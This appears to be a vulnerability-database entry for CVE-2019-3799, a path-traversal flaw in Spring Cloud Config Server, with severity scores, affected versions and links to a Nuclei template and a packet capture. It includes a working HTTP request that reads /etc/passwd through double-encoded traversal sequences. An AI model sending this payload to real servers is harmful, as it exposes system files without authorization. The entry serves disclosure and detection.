| Title | Spring Cloud Config Server - Local File Inclusion |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. |
| Remediation | Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches. |
| CVSS Score | 6.5 |
| EPSS Score | 0.9117 |
| CVE ID | CVE-2019-3799 |
| CWE ID | CWE-22 |
| Tags | cve cve2019 lfi vmware vuln |
Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
GET /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3799.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3799.pcap
N/AN/A